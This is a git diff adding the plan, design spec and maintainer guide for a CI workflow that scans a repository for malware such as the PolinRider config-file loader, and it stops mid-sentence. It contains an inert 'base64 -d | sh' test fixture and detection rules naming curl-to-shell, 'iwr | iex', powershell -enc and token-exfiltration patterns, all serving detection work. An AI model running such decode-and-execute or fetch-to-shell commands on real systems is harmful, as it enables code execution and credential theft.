] **Step 1: Write the failing tests and fixtures** + +`tests/malware-scan/fixtures/malicious/entropy.js` (inert; long opaque literal): + +```js +const blob = "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk" + "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk" + "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk"; +``` + +`tests/malware-scan/fixtures/malicious/typosquat-package.json`: + +```json +{ "name": "lodahs", "version": "1.0.0", "dependencies": { "expresss": "^4.0.0" } } +``` + +`tests/malware-scan/fixtures/malicious/decode-cmd.txt`: + +``` +some docs text +echo c29tZXRoaW5n | base64 -d | sh +``` + +Tests to append: + +```python +class TestSuspicionRules(unittest.TestCase): + def test_high_entropy_warns(self): + p = FIXTURES / "malicious" / "entropy.js" + found = scan_mod.scan_text(str(p), p.read_text()) + ent = [f for f in found if f.rule == "SUSP-HIGH-ENTROPY"] + self.assertTrue(ent) + self.assertEqual(ent[0].severity, "WARN") + + def test_typosquat_warns(self): + p = FIXTURES / "malicious" / "typosquat-package.json" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("SUSP-TYPOSQUAT", {f.rule for f in found}) + + def test_decode_exec_warns(self): + p = FIXTURES / "malicious" / "decode-cmd.txt" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("SUSP-DECODE-COMMAND", {f.rule for f in found}) +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 3 FAIL. + +- [ ] **Step 3: Implement the rules and typosquat list** + +Create `scripts/malware-scan/rules/typosquat_top100.txt` — exactly the package +names below, one per line, sorted alphabetically (this set is sufficient for the +rule as specified; extra popular names may be appended later but are not +required): +`angular, axios, babel-core, body-parser, bootstrap, browserify, chalk, commander, core-js, debug, dotenv, ejs, eslint, express, fastify, firebase, form-data, glob, graphql, handlebars, immer, jest, jquery, js-yaml, jsonwebtoken, koa, less, lodash, log4js, marked, mkdirp, moment, mongoose, morgan, nanoid, next, node-fetch, nodemailer, nodemon, npm, nuxt, passport, pm2, postcss, prettier, prisma, puppeteer, qs, react, react-dom, redux, request, rollup, rxjs, sass, semver, socket.io, sqlite3, styled-components, superagent, superset, tailwindcss, tar, ts-node, tslib, tsutils, tunnel-agent, typedoc, typescript, underscore, uuid, vite, webpack, ws, yaml, yargs, zod`. + +Append to `scripts/malware-scan/scan.py`: + +```python +RULES_DIR = Path(__file__).resolve().parent / "rules" +TYPOSQUAT_LIST = RULES_DIR / "typosquat_top100.txt" +ENTROPY_MIN_LEN = 64 +ENTROPY_BITS = 4.8 + + +def _shannon(s: str) -> float: + if not s: + return 0.0 + counts: dict[str, int] = {} + for ch in s: + counts[ch] = counts.get(ch, 0) + 1 + n = len(s) + return -sum((c / n) * math.log2(c / n) for c in counts.values()) + + +def rule_susp_high_entropy(path: str, text: str) -> list[Finding]: + out = [] + for i, ln in enumerate(text.splitlines(), 1): + for m in re.finditer(r"[A-Za-z0-9+/=]{%d,}" % ENTROPY_MIN_LEN, ln): + if _shannon(m.group(0)) >= ENTROPY_BITS: + out.append(Finding( + "SUSP-HIGH-ENTROPY", "WARN", path, i, + "high-entropy literal (possible packed payload)", + )) + break + return out + + +def _edit_distance(a: str, b: str) -> int: + prev = list(range(len(b) + 1)) + for i, ca in enumerate(a, 1): + cur = [i] + for j, cb in enumerate(b, 1): + cur.append(min(prev[j] + 1, cur[j - 1] + 1, prev[j - 1] + (ca != cb))) + prev = cur + return prev[-1] + + +def rule_susp_typosquat(path: str, text: str) -> list[Finding]: + if Path(path).name != "package.json": + return [] + try: + data = json.loads(text) + except ValueError: + return [] + names: set[str] = set() + if isinstance(data.get("name"), str): + names.add(data["name"]) + for key in ("dependencies", "devDependencies", "peerDependencies", "optionalDependencies"): + deps = data.get(key) or {} + if isinstance(deps, dict): + names.update(k for k in deps if isinstance(k, str)) + if not TYPOSQUAT_LIST.exists(): + return [] + popular = {ln.strip() for ln in TYPOSQUAT_LIST.read_text().splitlines() if ln.strip()} + out = [] + for name in sorted(names): + if name in popular or name.startswith("@"): + continue + if any(_edit_distance(name, pop) <= 2 for pop in popular): + out.append(Finding( + "SUSP-TYPOSQUAT", "WARN", path, 1, + f"package name {name!r} is within edit distance 2 of a popular " + "package name (possible typosquat)", + )) + return out + + +def rule_susp_decode_command(path: str, text: str) -> list[Finding]: + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if DECODE_EXEC_RE.search(ln) or re.search(r"powershell\s+-enc\b|certutil\b.*-decode", ln): + out.append(Finding( + "SUSP-DECODE-COMMAND", "WARN", path, i, + "decode-and-execute command string", + )) + return out +``` + +Register the three rules in `TEXT_RULES`. +(`SUSP-NEW-BINARY` and `SUSP-NEW-DEPENDENCY` are diff-mode rules — implemented +in Task 6.) + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: all PASS. + +- [ ] **Step 5: Commit** + +```bash +git add scripts/malware-scan/scan.py scripts/malware-scan/rules/typosquat_top100.txt tests/malware-scan/ +git commit -m "feat(malware-scan): suspicion heuristics and typosquat detection" +``` + +--- + +### Task 6: Allowlist, diff mode, history mode, diff-only rules + +**Covers:** [S3] (C3, C4), [S8] rows 5–7 + +**Files:** +- Modify: `scripts/malware-scan/scan.py` +- Create: `scripts/malware-scan/allowlist.json` +- Test: `tests/malware-scan/test_scan.py` (append) + +- [ ] **Step 1: Write the failing tests** + +```python +import tempfile + + +class TestAllowlist(unittest.TestCase): + def test_allowlist_suppresses_with_reason(self): + finding = scan_mod.Finding("POLIN-OBFUSCATED-JS", "BLOCK", "a.js", 1, "m") + allow = [{"rule": "POLIN-OBFUSCATED-JS", "path": "a.js", "reason": "test"}] + self.assertEqual(scan_mod.apply_allowlist([finding], allow), []) + + def test_allowlist_requires_reason(self): + finding = scan_mod.Finding("POLIN-OBFUSCATED-JS", "BLOCK", "a.js", 1, "m") + allow = [{"rule": "POLIN-OBFUSCATED-JS", "path": "a.js"}] + self.assertEqual(len(scan_mod.apply_allowlist([finding], allow)), 1) + + +class TestDiffMode(unittest.TestCase): + def test_diff_scan_reports_only_changed_files(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "keep.js").write_text("const x = 1;\n") + (root / "dirty.js").write_text( + 'const b = "' + "A" * 250 + '";\n', encoding="utf-8" + ) + import subprocess as sp + sp.run(["git", "init", "-q"], cwd=root, check=True) + sp.run(["git", "-c", "user.email=t@t", "-c", "user.name=t", + "add", "keep.js"], cwd=root, check=True) + sp.run(["git", "-c", "user.email=t@t", "-c", "user.name=t", + "commit", "-qm", "base"], cwd=root, check=True) + sp.run(["git", "-c", "user.email=t@t", "-c", "user.name=t", + "add", "dirty.js"], cwd=root, check=True) + sp.run(["git", "-c", "user.email=t@t", "-c", "user.name=t", + "commit", "-qm", "change"], cwd=root, check=True) + files = scan_mod.git_changed_files(root, "HEAD~1", "HEAD") + self.assertEqual(files, ["dirty.js"]) +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 3 FAIL (`apply_allowlist`/`git_changed_files` undefined). + +- [ ] **Step 3: Implement allowlist and git modes** + +Append to `scripts/malware-scan/scan.py`: + +```python +import fnmatch +import subprocess + + +def load_allowlist(path: Path) -> list[dict]: + if not path.exists(): + return [] + data = json.loads(path.read_text(encoding="utf-8")) + entries = data.get("allow", []) if isinstance(data, dict) else data + for e in entries: + if not isinstance(e, dict) or "reason" not in e or "rule" not in e or "path" not in e: + raise RuntimeError(f"allowlist entry missing rule/path/reason: {e!r}") + return entries + + +def apply_allowlist(findings: list[Finding], allow: list[dict]) -> list[Finding]: + kept = [] + for f in findings: + suppressed = any( + a["rule"] == f.rule and fnmatch.fnmatch(f.path, a["path"]) + for a in allow + ) + if not suppressed: + kept.append(f) + return kept + + +def git_changed_files(repo: Path, base: str, head: str) -> list[str]: + out = subprocess.run( + ["git", "diff", "--name-only", base, head], + cwd=repo, capture_output=True, text=True, check=True, + ) + return [ln.strip() for ln in out.stdout.splitlines() if ln.strip()] + + +def git_all_blobs(repo: Path) -> list[tuple[str, str]]: + """Return (path, blob-oid) for every tracked file at HEAD.""" + out = subprocess.run( + ["git", "ls-tree", "-r", "--name-only", "HEAD"], + cwd=repo, capture_output=True, text=True, check=True, + ) + pairs = [] + for path in [ln.strip() for ln in out.stdout.splitlines() if ln.strip()]: + oid = subprocess.run( + ["git", "rev-parse", f"HEAD:{path}"], + cwd=repo, capture_output=True, text=True, check=True, + ).stdout.strip() + pairs.append((path, oid)) + return pairs + + +def rule_susp_new_binary(path: str, text: str, raw: bytes | None = None) -> list[Finding]: + data = raw if raw is not None else text.encode("utf-8", "replace") + if b"\x00" in data[:8192]: + return [Finding("SUSP-NEW-BINARY", "WARN", path, 1, + "binary or NUL-containing file added")] + return [] + + +def rule_susp_new_dependency(path: str, text: str, base_texts: dict[str, str]) -> list[Finding]: + """Diff-mode: compare package.json dependency keys against the base revision.""" + if Path(path).name != "package.json" or path not in base_texts: + return [] + try: + new = json.loads(text) + old = json.loads(base_texts[path]) + except ValueError: + return [] + out = [] + for key in ("dependencies", "devDependencies", "peerDependencies", "optionalDependencies"): + new_deps = set((new.get(key) or {})) - set((old.get(key) or {})) + for dep in sorted(new_deps): + out.append(Finding("SUSP-NEW-DEPENDENCY", "WARN", path, 1, + f"new {key} entry {dep!r} added — verify legitimacy")) + return out +``` + +Extend `main` with `--base` (PR diff mode: scan only `git_changed_files(base, head)` +and run diff rules) and `--history` (walk `git_all_blobs` at HEAD plus +`git log --all --name-only` paths, deduplicating by blob OID into a cache dict +`oid -> findings` so identical blobs are scanned once). CLI contract after this +task: + +``` +usage: scan.py [--paths P ...] [--base REV --head REV] [--history] + [--allowlist PATH] [--json-out PATH|-] +exit codes: 0 clean · 1 BLOCK findings · 2 scanner error +``` + +Default allowlist path: `scripts/malware-scan/allowlist.json`. + +Create `scripts/malware-scan/allowlist.json`: + +```json +{ + "allow": [ + { + "rule": "*", + "path": "tests/malware-scan/fixtures/*", + "reason": "Inert synthetic scanner test fixtures (see fixtures/README.md); excluded from live scans" + } + ] +} +``` + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: all PASS. + +- [ ] **Step 5: Commit** + +```bash +git add scripts/malware-scan/ tests/malware-scan/ +git commit -m "feat(malware-scan): allowlist, diff/history modes, diff-only rules" +``` + +--- + +### Task 7: The workflow — .github/workflows/malware-protection.yml + +**Covers:** [S2], [S3] (C2), [S5] + +**Files:** +- Create: `.github/workflows/malware-protection.yml` +- Create: `.gitleaks.toml` + +- [ ] **Step 1: Resolve tool versions and action SHAs (exact commands)** + +Run from a shell (record outputs; they become the pins in the YAML): + +```bash +git ls-remote https://github.com/actions/checkout refs/tags/v4.2.2 # first field = SHA +git ls-remote https://github.com/actions/setup-python refs/tags/v5.3.0 +gh release view gitleaks/gitleaks --json tagName -q .tagName # e.g. v8.x.y +gh release view zizmorcore/zizmor --json tagName -q .tagName # e.g. v1.x.y +gh release view rhysd/actionlint --json tagName -q .tagName # e.g. v1.7.x +``` + +Expected: each command prints exactly one SHA (or one version tag). These values +are pasted into the workflow in the next step with a trailing version comment. +If `gh` is unavailable, read the version from the project's releases page. + +- [ ] **Step 2: Write the workflow** + +`.github/workflows/malware-protection.yml` (replace `<...>` pins with the values +from Step 1 — this is the only substitution; structure is final): + +```yaml +name: Malware Protection + +on: + pull_request: + branches: [main] + push: + branches: [main] + schedule: + - cron: "17 4 * * *" + workflow_dispatch: + +permissions: + contents: read + +jobs: + ttp-scan: + name: TTP scan (custom rules) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@ # v4.2.2 + with: + fetch-depth: 0 + - uses: actions/setup-python@ # v5.3.0 + with: + python-version: "3.12" + - name: Unit-test the scanner + run: python3 -m unittest discover -s tests/malware-scan -v + - name: Scan PR diff + if: github.event_name == 'pull_request' + run: | + python3 scripts/malware-scan/scan.py \ + --base "origin/${{ github.base_ref }}" --head HEAD \ + --allowlist scripts/malware-scan/allowlist.json \ + --annotations --summary "$GITHUB_STEP_SUMMARY" || { + code=$? + [ "$code" -eq 2 ] && echo "::error::scanner error (fail-safe)" && exit 2 + exit "$code" + } + - name: Scan tree + if: github.event_name != 'pull_request' + run: | + python3 scripts/malware-scan/scan.py \ + --paths . \ + --allowlist scripts/malware-scan/allowlist.json \ + --annotations --summary "$GITHUB_STEP_SUMMARY" + + history-scan: + name: History sweep + if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@ # v4.2.2 + with: + fetch-depth: 0 + - uses: actions/setup-python@ # v5.3.0 + with: + python-version: "3.12" + - name: Scan full history + run: | + python3 scripts/malware-scan/scan.py \ + --history \ + --allowlist scripts/malware-scan/allowlist.json \ + --annotations --summary "$GITHUB_STEP_SUMMARY" + + secrets-scan: + name: Secret scan (gitleaks) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@ # v4.2.2 + with: + fetch-depth: 0 + - name: Install gitleaks + env: + GITLEAKS_VERSION: "" + run: | + curl -sSfL "https://github.com/gitleaks/gitleaks/releases/download/${GITLEAKS_VERSION}/gitleaks_${GITLEAKS_VERSION#v}_linux_x64.tar.gz" -o /tmp/gitleaks.tgz + tar -xzf /tmp/gitleaks.tgz -C /tmp gitleaks + sudo install /tmp/gitleaks /usr/local/bin/gitleaks + gitleaks version + - name: Scan (PR diff) + if: github.event_name == 'pull_request' + run: gitleaks detect --source . --redact --log-opts "origin/${{ github.base_ref }}..HEAD" --exit-code 1 + - name: Scan (full history) + if: github.event_name != 'pull_request' + run: gitleaks detect --source . --redact --exit-code 1 + + workflow-lint: + name: Workflow lint (zizmor + actionlint) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@ # v4.2.2 + with: + fetch-depth: 0 + - uses: actions/setup-python@ # v5.3.0 + with: + python-version: "3.12" + - name: Install zizmor + env: + ZIZMOR_VERSION: "" + run: pip install "zizmor==${ZIZMOR_VERSION#v}" + - name: Install actionlint + env: + ACTIONLINT_VERSION: "" + run: | + curl -sSfL "https://github.com/rhysd/actionlint/releases/download/${ACTIONLINT_VERSION}/actionlint_${ACTIONLINT_VERSION#v}_linux_amd64.tar.gz" -o /tmp/actionlint.tgz + tar -xzf /tmp/actionlint.tgz -C /tmp actionlint + sudo install /tmp/actionlint /usr/local/bin/actionlint + - name: zizmor + run: zizmor --persona auditor .github/workflows/ || exit 1 + - name: actionlint + run: actionlint +``` + +Notes for the implementer: `--annotations` and `--summary` flags are added to +`scan.py` in Task 8 (they print `::error file=...`/`::warning file=...` lines +and append the Markdown summary). The `|| { ... }` guard in the PR step keeps +exit code 2 distinguishable. `permissions: contents: read` is workflow-wide on +purpose (spec `[S5]`). + +- [ ] **Step 3: Write `.gitleaks.toml`** + +```toml +[extend] +useDefault = true + +[[allowlist]] +description = "Inert scanner test fixtures" +paths = ['''tests/malware-scan/fixtures/.*'''] +``` + +- [ ] **Step 4: Validate the workflow locally** + +Run: `actionlint` (install per Step 1 command if missing) and `zizmor .github/workflows/malware-protection.yml` +Expected: both report no errors on the new file. + +- [ ] **Step 5: Commit** + +```bash +git add .github/workflows/malware-protection.yml .gitleaks.toml +git commit -m "ci: add malware-protection workflow (TTP scan, secrets, workflow lint, history sweep)" +``` + +--- + +### Task 8: Annotations, summary output, acceptance run, maintainer docs + +**Covers:** [S4], [S6], [S7], [S8] + +**Files:** +- Modify: `scripts/malware-scan/scan.py` +- Test: `tests/malware-scan/test_scan.py` (append) +- Create: `docs/malware-protection.md` + +- [ ] **Step 1: Write the failing tests** + +```python +class TestOutputModes(unittest.TestCase): + def test_annotations_format(self): + f = scan_mod.Finding("STEAL-TOKEN-EXFIL", "BLOCK", "a.js", 7, "steal") + lines = scan_mod.render_annotations([f]) + self.assertEqual( + lines, + ["::error file=a.js,line=7::[STEAL-TOKEN-EXFIL] steal"], + ) + + def test_summary_contains_tier_and_ir_pointer(self): + f = scan_mod.Finding("SUSP-HIGH-ENTROPY", "WARN", "b.js", 1, "entropy") + md = scan_mod.render_summary([f], scanned="src") + self.assertIn("WARN", md) + self.assertIn("rotate", md.lower()) +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 2 FAIL. + +- [ ] **Step 3: Implement renderers and CLI flags** + +Append to `scripts/malware-scan/scan.py`: + +```python +SEVERITY_PREFIX = {"BLOCK": "error", "WARN": "warning"} + + +def render_annotations(findings: list[Finding]) -> list[str]: + out = [] + for f in findings: + kind = SEVERITY_PREFIX[f.severity] + out.append(f"::{kind} file={f.path},line={f.line}::[{f.rule}] {f.message}") + return out + + +def render_summary(findings: list[Finding], scanned: str) -> str: + blocks = [f for f in findings if f.severity == "BLOCK"] + warns = [f for f in findings if f.severity == "WARN"] + lines = [ + "# Malware protection report", + "", + f"Scanned: `{scanned}` — BLOCK: **{len(blocks)}**, WARN: **{len(warns)}**", + "", + ] + for f in findings: + lines.append(f"- `{f.severity}` `{f.path}:{f.line}` `{f.rule}` — {f.message}") + if blocks: + lines += [ + "", + "## Incident response", + "1. Do not merge. Revoke/rotate any tokens present on the affected machine " + "(GitHub PATs, npm tokens, SSH keys).", + "2. Inspect force-push history (`git reflog`) — PolinRider propagates by " + "force-pushing into every writable repository.", + "3. Run `python3 scripts/malware-scan/scan.py --history` locally and see " + "`docs/malware-protection.md`.", + ] + return "\n".join(lines) + "\n" +``` + +Wire `--annotations` and `--summary PATH` into `main`: when set, print +annotations to stdout and write the summary to the given file (in addition to +JSON output). Keep exit-code semantics unchanged. + +- [ ] **Step 4: Run tests to verify they pass, then acceptance run** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` — Expected: all PASS. +Run: `python3 scripts/malware-scan/scan.py --paths . --allowlist scripts/malware-scan/allowlist.json` +Expected: exit 0 on the repository's current tree (spec `[S6]` acceptance test). + +- [ ] **Step 5: Write `docs/malware-protection.md`** + +Contents (complete, no TBD): what the workflow covers (copy the threat table +from spec `[S8]`), the severity tiers and CI behavior from `[S4]`, how to run +the scanner locally (exact commands from this plan), the allowlist policy +(entries need a written `reason`; suppressions are printed in the job summary), +and an incident-response checklist (rotate tokens, check `git reflog` for +force-pushes, run `--history`, consult PolinRider cleanup guides such as the +OpenSourceMalware developer guide and `polinriderscanner.com`). Reference the +spec path `docs/compose/specs/2026-11-19-malware-protection-ci-design.md`. + +- [ ] **Step 6: Commit** + +```bash +git add scripts/malware-scan/scan.py tests/malware-scan/test_scan.py docs/malware-protection.md +git commit -m "feat(malware-scan): annotations and summary output; maintainer guide" +``` + +- [ ] **Step 7: Final verification** + +Run: `python3 -m unittest discover -s tests/malware-scan -v && python3 scripts/malware-scan/scan.py --paths . --allowlist scripts/malware-scan/allowlist.json && actionlint && zizmor .github/workflows/` +Expected: tests PASS, scan exits 0, linters clean. + +Then push the branch and open a PR so the workflow runs on itself; confirm all +four jobs appear and `ttp-scan` is green on the repo's own tree. + diff --git a/docs/compose/specs/2026-11-19-malware-protection-ci-design.md b/docs/compose/specs/2026-11-19-malware-protection-ci-design.md new file mode 100644 index 0000000..ae993b7 --- /dev/null +++ b/docs/compose/specs/2026-11-19-malware-protection-ci-design.md @@ -0,0 +1,170 @@ +# Malware-Protection CI — Design Spec + +Date: 2026-11-19 +Status: approved design, pending implementation +Threat context: PolinRider (DPRK/Lazarus-linked GitHub campaign, documented since 2026-03; 4000+ compromised repos by mid-2026) and unknown successor campaigns. + +## [S1] Problem + +Compromised contributors can push malware into the repository via pull requests or +direct commits. Known campaign TTPs (PolinRider, "EtherHiding" config-file loader): + +- Obfuscated JavaScript appended **after** legitimate content in common developer + config files: `tailwind.config.js`, `eslint.config.mjs`, `postcss.config.mjs`, + `next.config.mjs` and similar. +- `.vscode/tasks.json` entries running `curl | sh` / `iwr | iex` on folder open. +- Payload activates on `npm run dev` or when the project folder is opened in VS Code. +- Steals `GITHUB_TOKEN`/credentials, then force-pushes the payload into every + repository the victim can write to (self-propagation). +- Adjacent vectors: malicious npm lifecycle scripts, poisoned dependencies, + malicious GitHub workflows (`pull_request_target` abuse, script injection), + committed secrets. + +The repository's existing `ci.yml` covers lint, typecheck, CodeQL and report-only +`npm audit`. It does not scan for malware, does not inspect git history, and its +scanning jobs execute project code (`npm ci`), which is itself an infection vector. + +## [S2] Solution overview + +A new workflow `.github/workflows/malware-protection.yml` backed by in-repo +scanner code under `scripts/malware-scan/` (Python 3, **standard library only**). +Principles: + +1. **Never execute project code.** No `npm install`/`npm ci`, no lifecycle + scripts, no import of repo modules. Lockfile-only dependency analysis. +2. **Tiered enforcement.** `BLOCK` findings fail the check; `WARN` findings are + annotated but do not fail it. +3. **Defense in depth.** Custom TTP detection + established tools pinned to + commit SHAs + scheduled history sweeps. + +Triggers: + +| Trigger | Scope scanned | +|---|---| +| `pull_request` to `main` | PR diff (added/modified files) + changed workflows | +| `push` to `main` | pushed commits' trees | +| `schedule` (daily) | full git history + full tree | +| `workflow_dispatch` | full git history + full tree (manual incident response) | + +## [S3] Components + +### C1. `scripts/malware-scan/scan.py` — TTP scanner (custom) + +Rule catalog (stable rule IDs; all rules emit `file:line rule-ID message`): + +**BLOCK rules** + +| Rule ID | Detects | +|---|---| +| `POLIN-CONFIG-APPEND` | Non-comment content containing execution/network primitives (exec/eval calls, `child_process`, curl-to-shell pipes, network+POST) appended after the apparent end of a JS/MJS/CJS config module (config-file TTP). Blank/comment-only tails and benign appended helper code stay silent to keep precision | +| `POLIN-OBFUSCATED-JS` | Obfuscation constructs (each fires standalone): long base64/hex literals (>=200 chars), `String.fromCharCode`/`atob`/`unescape` feeding `eval`/`Function` (including cross-statement), bracket-notation-only identifier chains (3+ consecutive bracket accesses), `eval(…)` combined with network or process APIs | +| `POLIN-VSCODE-TASKS` | `.vscode/tasks.json` command lines containing `curl`/`wget`/`iwr` piped to a shell, or `base64 -d \| sh` style decode-and-execute | +| `STEAL-TOKEN-EXFIL` | Reads of `GITHUB_TOKEN`/`process.env.*TOKEN*`/`~/.ssh`/credential stores combined with outbound network calls (`fetch`, `http.request`, `child_process` + curl) | +| `HOOK-MALICIOUS-SCRIPT` | `preinstall`/`install`/`postinstall`/`prepare` npm scripts invoking `node -e`, `curl`, `wget`, encoded/obfuscated commands | +| `WF-PR-TARGET-CHECKOUT` | Workflow using `pull_request_target` together with checkout of the untrusted PR head (pwn-request pattern) | +| `WF-SCRIPT-INJECTION` | `${{ github.event.* }}` / `${{ github.head_ref }}` interpolated directly into `run:` blocks | +| `WF-UNPINNED-ACTION` | `uses: owner/repo@ref` where `ref` is not a full 40-hex commit SHA (warn by default; BLOCK when the action is referenced from a job that receives secrets — see severity table) | + +**WARN rules** + +| Rule ID | Detects | +|---|---| +| `SUSP-HIGH-ENTROPY` | Long high-entropy string literals without a corroborating BLOCK rule | +| `SUSP-NEW-BINARY` | New/modified non-text or executable-bit files in the diff | +| `SUSP-TYPOSQUAT` | New dependency whose name is within edit distance 2 of a bundled top-100-npm-packages list (static list shipped in `scripts/malware-scan/rules/`) but not itself on the list | +| `SUSP-NEW-DEPENDENCY` | Any newly added dependency (lockfile diff) — informational review prompt | +| `SUSP-DECODE-COMMAND` | `base64 -d`/`certutil`/`powershell -enc` outside approved tooling | +| `WF-UNPINNED-ACTION` (default) | as above, when not secrets-bearing | + +**Dependency analysis (static):** `npm audit --package-lock-only --json` +(high/critical → WARN, matching current repo posture), plus the lockfile-diff +rules above. No install is performed. + +### C2. Third-party scanners (pinned to full commit SHAs) + +- `gitleaks` — secret scanning on PR diffs and full history (schedule/manual). +- `zizmor` — GitHub Actions static analysis (pwn-requests, injection, bad caching). +- `actionlint` — workflow syntax/lint validation. + +All third-party actions in this workflow are pinned by commit SHA with a version +comment. The scanner jobs use only `actions/checkout`, `actions/setup-python` +(both SHA-pinned) and the tools above. + +### C3. Scheduled history sweep + +`scan.py --history` walks `git log --all` trees, applying the BLOCK rule catalog +to every revision (with caching by blob OID) and `gitleaks git --full-history`. +Purpose: catch infections that predate the workflow or are re-introduced via +force-push after the fact (PolinRider propagates by force-push). + +### C4. Allowlist + +`scripts/malware-scan/allowlist.json` — entries of the form +`{ rule: RULE-ID, path: glob, reason: string }`. Reasons are mandatory; the +scanner prints allowlist usage in the job summary so suppressions stay visible. + +## [S4] Severity and enforcement behavior + +| Tier | Examples | CI result | +|---|---|---| +| BLOCK | any `POLIN-*`, `STEAL-*`, `HOOK-*`, `WF-PR-TARGET-CHECKOUT`, `WF-SCRIPT-INJECTION`, high-confidence gitleaks findings | check fails (exit 1) | +| WARN | entropy blobs, new deps, typosquat hits, new binaries, unpinned actions in jobs without `secrets:`, npm audit high/critical | annotations + summary, check passes | +| ERROR | scanner crash / tool failure | check fails (exit 2, distinct message — fail safe) | + +Escalation rule: `WF-UNPINNED-ACTION` escalates from WARN to BLOCK when the +unpinned action sits in any job that declares `secrets:` (including jobs in +workflows other than this one — the rule scans all `.github/workflows/*`). + +Every finding includes: path, line, rule ID, short explanation, remediation hint. +The job summary ends with an incident-response pointer (rotate tokens, review +force-push history, run `scan.py --history` locally, PolinRider cleanup notes). + +## [S5] Data flow and safety properties + +1. Trigger fires → `scan-job` (diff scan), `secrets-job`, `workflow-lint-job` + run in parallel; `history-job` runs only on `schedule`/`workflow_dispatch`. +2. All jobs: `permissions: contents: read` (secrets-job additionally + `security-events: write` if uploading SARIF — upload is optional/best-effort). +3. No repository secrets are exposed to any job. No project code executes. +4. PR events use `pull_request` (NOT `pull_request_target`), so workflows from + forks run with read-only token in an isolated context. +5. Findings are emitted as GitHub annotations (`::error::`/`::warning::`) and a + Markdown job summary. + +## [S6] Testing + +- `tests/malware-scan/test_scan.py` — stdlib `unittest`, no test dependencies. +- Fixtures under `tests/malware-scan/fixtures/` are **inert synthetic samples** + (strings that trigger rules without being functional code) and benign + counter-samples. Each BLOCK/WARN rule has at least one positive and one + negative test. +- Acceptance test: scanner exits 0 on the repository's current tree. +- Workflow file is validated with `actionlint` and `zizmor` locally before merge. + +## [S7] Deliverables + +| Path | Purpose | +|---|---| +| `.github/workflows/malware-protection.yml` | the CI workflow | +| `scripts/malware-scan/scan.py` | TTP scanner (stdlib only) | +| `scripts/malware-scan/allowlist.json` | suppression list (starts with one fixture-exclusion bootstrap entry, format documented) | +| `tests/malware-scan/test_scan.py` | rule unit tests | +| `tests/malware-scan/fixtures/**` | inert test fixtures | +| `docs/malware-protection.md` | maintainer guide: coverage, tiers, allowlist policy, incident response | + +Out of scope (noted as follow-ups): modifying existing `ci.yml`, branch +protection configuration (maintainer must mark `malware-protection` checks as +required in GitHub settings), org-level Actions pinning policy. + +## [S8] Threat coverage mapping + +| Threat vector | Covered by | +|---|---| +| Config-file payload append (PolinRider) | `POLIN-CONFIG-APPEND`, `POLIN-OBFUSCATED-JS` | +| VS Code tasks curl-to-shell | `POLIN-VSCODE-TASKS` | +| Token stealers / self-propagation | `STEAL-TOKEN-EXFIL`, gitleaks history scan | +| Malicious lifecycle scripts | `HOOK-MALICIOUS-SCRIPT` | +| Poisoned/typosquat dependencies | `SUSP-NEW-DEPENDENCY`, `SUSP-TYPOSQUAT`, `npm audit` | +| Workflow abuse (pwn-request, injection, unpinned) | `WF-*` rules, zizmor, actionlint | +| Pre-existing / force-pushed infections | scheduled + manual history sweep | +| Committed secrets | gitleaks | diff --git a/docs/malware-protection.md b/docs/malware-protection.md new file mode 100644 index 0000000..884a336 --- /dev/null +++ b/docs/malware-protection.md @@ -0,0 +1,141 @@ +# Malware Protection — Maintainer Guide + +Companion to the design spec: +[`docs/compose/specs/2026-11-19-malware-protection-ci-design.md`](compose/specs/2026-11-19-malware-protection-ci-design.md). + +This repository is protected by `.github/workflows/malware-protection.yml`, a +stdlib-only Python scanner (`scripts/malware-scan/scan.py`), and three pinned +third-party tools (gitleaks, zizmor, actionlint). The scanner **never executes +project code** — no `npm install`, no lifecycle scripts, no repo-module imports. + +## What the workflow covers + +| Threat vector | Covered by | +|---|---| +| Config-file payload append (PolinRider) | `POLIN-CONFIG-APPEND`, `POLIN-OBFUSCATED-JS` | +| VS Code tasks curl-to-shell | `POLIN-VSCODE-TASKS` | +| Token stealers / self-propagation | `STEAL-TOKEN-EXFIL`, gitleaks history scan | +| Malicious lifecycle scripts | `HOOK-MALICIOUS-SCRIPT` | +| Poisoned/typosquat dependencies | `SUSP-NEW-DEPENDENCY`, `SUSP-TYPOSQUAT`, lockfile-only `npm audit` (high/critical → WARN) | +| Workflow abuse (pwn-request, injection, unpinned) | `WF-*` rules, zizmor, actionlint | +| Pre-existing / force-pushed infections | scheduled + manual history sweep (`--history`) | +| Committed secrets | gitleaks | + +Jobs: + +| Job | Triggers | What it does | +|---|---|---| +| `ttp-scan` | every trigger | unit tests, then PR-diff scan (`--base/--head`) or full-tree scan (`--paths .`), then `npm audit --package-lock-only --audit-level=high` — WARN tier: `continue-on-error` never fails the job, and the output tail lands in the job summary (no `npm install`; the lockfile is audited without executing project code) | +| `history-scan` | `schedule`, `workflow_dispatch` | `scan.py --history` over every blob reachable from any ref | +| `secrets-scan` | every trigger | `gitleaks detect` on the PR range or full history | +| `workflow-lint` | every trigger | `zizmor --persona auditor` on `malware-protection.yml`, `actionlint` on all of `.github/workflows/` | + +Triggers: pull requests targeting `main`, pushes to `main`, daily cron +(`17 4 * * *`), and manual 